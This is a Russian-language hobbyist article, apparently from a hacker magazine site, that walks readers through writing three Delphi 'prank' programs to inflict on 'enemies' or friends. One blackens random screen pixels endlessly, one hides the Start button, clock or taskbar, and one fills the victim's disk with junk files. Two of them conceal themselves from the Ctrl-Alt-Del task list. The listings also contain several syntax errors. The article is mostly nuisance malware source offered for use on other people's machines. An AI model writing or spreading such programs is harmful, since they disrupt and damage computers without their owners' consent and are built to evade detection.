Делать проги-заподлянки — это моё хобби. Я написал их много и сейчас помогу тебе написать пару своих прог для врагов или хороших друзей :).

Прога 1. «А куда подевался экран????»

Для начала запусти Дельфи (желательно версии 5), жми на File — New Application. Создастся новое приложение. Сейчас ткни на Project — View Source. Теперь сотри там всё и пиши:

program joke;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
end.

Ну что же, каркас готов, теперь будем писать основной код:

program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end.

Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать, чтобы прогу нашу через CTRL-ALT-DEL не видно было:

program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external ‘KERNEL32.DLL’;
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end;
end.

Всё! Нашу заподлянку не снять через «три весёлых клавиши»!. Жми теперь CTRL-F9 и вперёд!

Прога 2. «А где всё?»

А сейчас мы вернёмся к классике и будем прятать часы с кнопкой «Пуск» или, на худой конец «Панель задач». Выполни уже знакомые тебе действия с Дельфями и впиши вот это:

program proga2;
uses Windows;
var
Wnd:THandle; /* объявляем переменные */
int:integer;
begin
Randomize; /* холостой прогон генератора случайных чисел */
int:=(Random(3)); /* выбор одного варианта из четырёх */
case int of
0: /* если первый вариант то */
begin
Wnd := FindWindow(‘Progman’, nil); /* прячем трей */
Wnd := FindWindowEx(Wnd, HWND(0),’ShellDll_DefView’, nil); 
ShowWindow(Wnd, SW_HIde);
end;
1: /* если второй вариант то */
begin
Wnd := FindWindow(‘Shell_TrayWnd’, nil);
Wnd := FindWindowEx(Wnd, HWND(0),’TrayNotifyWnd’, nil);
Wnd := FindWindowEx(Wnd, HWND(0),’TrayClockWClass’, nil); 
/* прячем часы */
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow(‘Shell_TrayWnd’, nil);
Wnd := FindWindowEx(Wnd, HWND(0),’Button’, nil); 
/*прячем кнопку «Пуск»*/
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow(‘Shell_TrayWnd’, nil);
Wnd := FindWindowEx(Wnd, HWND(0),’TrayNotifyWnd’, nil); 
/* прячем «Панель задач» */
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.

По желанию можно вставить защиту от CTRL-ALT-DEL.

Прога 3. «Мало, мало места на винте…»

Ну а напоследок, прога, которая позволит значительно уменьшить место на винте твоей жертвы. Как делать ты уже знаешь, а теперь вперёд:

program musor;
uses Windows;
var
text:TextFile;
alphabet, temp:string;
i:integer;
point:Tpoint; /* Объявление переменных */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external ‘KERNEL32.DLL’;
begin
RegisterServiceProcess(0,1);
alphabet:=’abcdefghijklmnopqrstucvwxyz’; /*заполняем строку алфавитом*/
while true do
begin
GetCursorPos(point); /* получаем координаты курсора */
if (point.x = 0)and(point.y = 0) then /* если х = 0 и y = 0 то */
begin
temp:=»; /*очищаем буфер*/
for i:=1 to 8 do /*генерируем случайное имя файла*/
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]); 
temp:=Concat(temp, ‘.’); 
for i:=1 to 3 do /*генерируем случайное расширение*/
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]); 
Assign(text, temp); /* присваиваем имя файлу */
Rewrite(text); /*открываем файл*/
for i:=1 to 30000000 do
begin
Yield;
Write(text, ‘!’); /* наполняем файл мусором */
end;
Close(text); /* закрываем файл */
end;
end; /* всё сначала */ 
end.

Действие этой проги заключается в следующем: она следит за позицией курсора, и, если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором.

Ну вот, вы и научились основам этого ремесла.

Оставить мнение

Check Also

Espruino Pico. Учимся программировать USB-микроконтроллер на JavaScript и делаем из него токен авторизации

Несмотря на огромное количество устройств на базе микроконтроллеров, созданных на волне ус…